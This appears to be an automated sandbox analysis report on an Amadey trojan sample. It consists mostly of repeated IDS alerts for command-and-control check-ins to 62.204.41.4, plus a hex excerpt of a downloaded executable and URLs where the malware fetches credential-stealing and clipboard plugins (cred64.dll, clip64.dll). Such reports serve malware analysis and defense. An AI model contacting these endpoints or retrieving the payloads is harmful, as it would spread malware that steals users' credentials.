Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449973802027700 02/06/23-18:37:05.465390
SID:	2027700
Source Port:	49973
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450240802027700 02/06/23-18:38:16.797444
SID:	2027700
Source Port:	50240
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450311802027700 02/06/23-18:38:35.648201
SID:	2027700
Source Port:	50311
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449884802027700 02/06/23-18:36:38.947006
SID:	2027700
Source Port:	49884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450044802027700 02/06/23-18:37:25.381632
SID:	2027700
Source Port:	50044
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450222802027700 02/06/23-18:38:12.425383
SID:	2027700
Source Port:	50222
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450133802027700 02/06/23-18:37:48.134151
SID:	2027700
Source Port:	50133
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449795802027700 02/06/23-18:36:14.536822
SID:	2027700
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449838802027700 02/06/23-18:36:26.789629
SID:	2027700
Source Port:	49838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450151802027700 02/06/23-18:37:53.780649
SID:	2027700
Source Port:	50151
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449927802027700 02/06/23-18:36:52.819701
SID:	2027700
Source Port:	49927
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450062802027700 02/06/23-18:37:29.485225
SID:	2027700
Source Port:	50062
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450317802027700 02/06/23-18:38:37.080325
SID:	2027700
Source Port:	50317
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449726802027700 02/06/23-18:35:56.260662
SID:	2027700
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449850802027700 02/06/23-18:36:29.439544
SID:	2027700
Source Port:	49850
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450279802027700 02/06/23-18:38:27.884547
SID:	2027700
Source Port:	50279
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449945802027700 02/06/23-18:36:58.654499
SID:	2027700
Source Port:	49945
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450149802027700 02/06/23-18:37:53.313477
SID:	2027700
Source Port:	50149
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450345802027700 02/06/23-18:38:44.689333
SID:	2027700
Source Port:	50345
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450238802027700 02/06/23-18:38:16.299287
SID:	2027700
Source Port:	50238
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449767802027700 02/06/23-18:36:08.035707
SID:	2027700
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449749802027700 02/06/23-18:36:03.660431
SID:	2027700
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449904802027700 02/06/23-18:36:43.781750
SID:	2027700
Source Port:	49904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449815802027700 02/06/23-18:36:21.210734
SID:	2027700
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450327802027700 02/06/23-18:38:39.273408
SID:	2027700
Source Port:	50327
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450250802027700 02/06/23-18:38:19.214721
SID:	2027700
Source Port:	50250
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450291802027700 02/06/23-18:38:30.738198
SID:	2027700
Source Port:	50291
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449856802027700 02/06/23-18:36:30.850298
SID:	2027700
Source Port:	49856
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450161802027700 02/06/23-18:37:56.171482
SID:	2027700
Source Port:	50161
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450072802027700 02/06/23-18:37:33.278393
SID:	2027700
Source Port:	50072
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450297802027700 02/06/23-18:38:32.224802
SID:	2027700
Source Port:	50297
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449822802027700 02/06/23-18:36:22.933332
SID:	2027700
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450167802027700 02/06/23-18:37:57.576211
SID:	2027700
Source Port:	50167
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450256802027700 02/06/23-18:38:20.656895
SID:	2027700
Source Port:	50256
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449911802027700 02/06/23-18:36:48.462366
SID:	2027700
Source Port:	49911
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450078802027700 02/06/23-18:37:34.718345
SID:	2027700
Source Port:	50078
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450266802027700 02/06/23-18:38:23.033535
SID:	2027700
Source Port:	50266
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450355802027700 02/06/23-18:38:48.066556
SID:	2027700
Source Port:	50355
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449736802027700 02/06/23-18:36:00.525448
SID:	2027700
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450269802027700 02/06/23-18:38:23.765845
SID:	2027700
Source Port:	50269
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450006802027700 02/06/23-18:37:15.979491
SID:	2027700
Source Port:	50006
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450358802027700 02/06/23-18:38:48.804091
SID:	2027700
Source Port:	50358
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449840802027700 02/06/23-18:36:27.290138
SID:	2027700
Source Port:	49840
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449996802027700 02/06/23-18:37:11.560689
SID:	2027700
Source Port:	49996
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450177802027700 02/06/23-18:37:59.985865
SID:	2027700
Source Port:	50177
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449825802027700 02/06/23-18:36:23.646592
SID:	2027700
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449751802027700 02/06/23-18:36:04.175861
SID:	2027700
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450110802027700 02/06/23-18:37:42.371968
SID:	2027700
Source Port:	50110
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449917802027700 02/06/23-18:36:49.905140
SID:	2027700
Source Port:	49917
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449739802027700 02/06/23-18:36:01.266268
SID:	2027700
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449999802027700 02/06/23-18:37:14.145161
SID:	2027700
Source Port:	49999
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449828802027700 02/06/23-18:36:24.349767
SID:	2027700
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450281802027700 02/06/23-18:38:28.378215
SID:	2027700
Source Port:	50281
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450192802027700 02/06/23-18:38:03.610612
SID:	2027700
Source Port:	50192
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450088802027700 02/06/23-18:37:37.171595
SID:	2027700
Source Port:	50088
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449968802027700 02/06/23-18:37:04.244029
SID:	2027700
Source Port:	49968
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450021802027700 02/06/23-18:37:19.783407
SID:	2027700
Source Port:	50021
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449901802027700 02/06/23-18:36:43.063640
SID:	2027700
Source Port:	49901
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449761802027700 02/06/23-18:36:06.571220
SID:	2027700
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450009802027700 02/06/23-18:37:16.756199
SID:	2027700
Source Port:	50009
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450342802027700 02/06/23-18:38:43.108288
SID:	2027700
Source Port:	50342
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450212802027700 02/06/23-18:38:10.033408
SID:	2027700
Source Port:	50212
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449983802027700 02/06/23-18:37:08.027985
SID:	2027700
Source Port:	49983
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449942802027700 02/06/23-18:36:57.946569
SID:	2027700
Source Port:	49942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450123802027700 02/06/23-18:37:45.530650
SID:	2027700
Source Port:	50123
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449853802027700 02/06/23-18:36:30.146489
SID:	2027700
Source Port:	49853
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449812802027700 02/06/23-18:36:20.476057
SID:	2027700
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449894802027700 02/06/23-18:36:41.381593
SID:	2027700
Source Port:	49894
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449764802027700 02/06/23-18:36:07.304245
SID:	2027700
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450253802027700 02/06/23-18:38:19.923435
SID:	2027700
Source Port:	50253
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450301802027700 02/06/23-18:38:33.190298
SID:	2027700
Source Port:	50301
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449914802027700 02/06/23-18:36:49.185768
SID:	2027700
Source Port:	49914
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450294802027700 02/06/23-18:38:31.479059
SID:	2027700
Source Port:	50294
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450075802027700 02/06/23-18:37:34.012824
SID:	2027700
Source Port:	50075
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450164802027700 02/06/23-18:37:56.874762
SID:	2027700
Source Port:	50164
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450034802027700 02/06/23-18:37:22.947074
SID:	2027700
Source Port:	50034
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 06 Feb 2023 17:35:56 GMTContent-Type: application/octet-streamContent-Length: 91136Last-Modified: Fri, 03 Feb 2023 17:19:21 GMTConnection: keep-aliveETag: "63dd4219-16400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 18 8f 2c 43 79 e1 7f 43 79 e1 7f 43 79 e1 7f 18 11 e2 7e 49 79 e1 7f 18 11 e4 7e cb 79 e1 7f 18 11 e5 7e 51 79 e1 7f 96 14 e5 7e 4c 79 e1 7f 96 14 e2 7e 52 79 e1 7f 96 14 e4 7e 62 79 e1 7f 18 11 e0 7e 46 79 e1 7f 43 79 e0 7f 19 79 e1 7f d8 17 e8 7e 40 79 e1 7f d8 17 e1 7e 42 79 e1 7f d8 17 1e 7f 42 79 e1 7f d8 17 e3 7e 42 79 e1 7f 52 69 63 68 43 79 e1 7f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d4 38 dd 63 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 de 00 00 00 8c 00 00 00 00 00 00 00 3e 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 01 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 4a 01 00 9c 00 00 00 3c 4b 01 00 3c 00 00 00 00 80 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 54 10 00 00 20 3f 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3f 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 dd 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 61 00 00 00 f0 00 00 00 62 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 14 00 00 00 60 01 00 00 0c 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 80 01 00 00 02 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 54 10 00 00 00 90 01 00 00 12 00 00 00 52 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

ASN Name: TNNET-ASTNNetOyMainnetworkFI TNNET-ASTNNetOyMainnetworkFI

Source: Joe Sandbox View

IP Address: 62.204.41.4 62.204.41.4

Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/Plugins/clip64.dll
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/Plugins/clip64.dll6
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/Plugins/cred64.dll
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/Plugins/cred64.dllA
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp, mnolyk.exe, 0000000F.00000002.775467476.0000000001182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php$
Source: mnolyk.exe, 0000000F.00000002.775467476.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php/
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php79e5342a2
Source: mnolyk.exe, 0000000F.00000002.775467476.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpK
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpL
Source: mnolyk.exe, 0000000F.00000002.775467476.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpQ
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpT
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpi
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpn
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpp
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phprosoft
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpz
Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Golol478Ns/index.php

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 14_2_010A7F00 CreateMutexW,GetLastError,SetCurrentDirectoryA,CreateFileA,InternetOpenA,InternetOpenUrlA,InternetReadFile,WriteFile,WriteFile,InternetReadFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,RemoveDirectoryA,

14_2_010A7F00

Source: global traffic	HTTP traffic detected: GET /Gol478Ns/Plugins/cred64.dll HTTP/1.1Host: 62.204.41.4
Source: global traffic	HTTP traffic detected: GET /Gol478Ns/Plugins/clip64.dll HTTP/1.1Host: 62.204.41.4

Source: global traffic

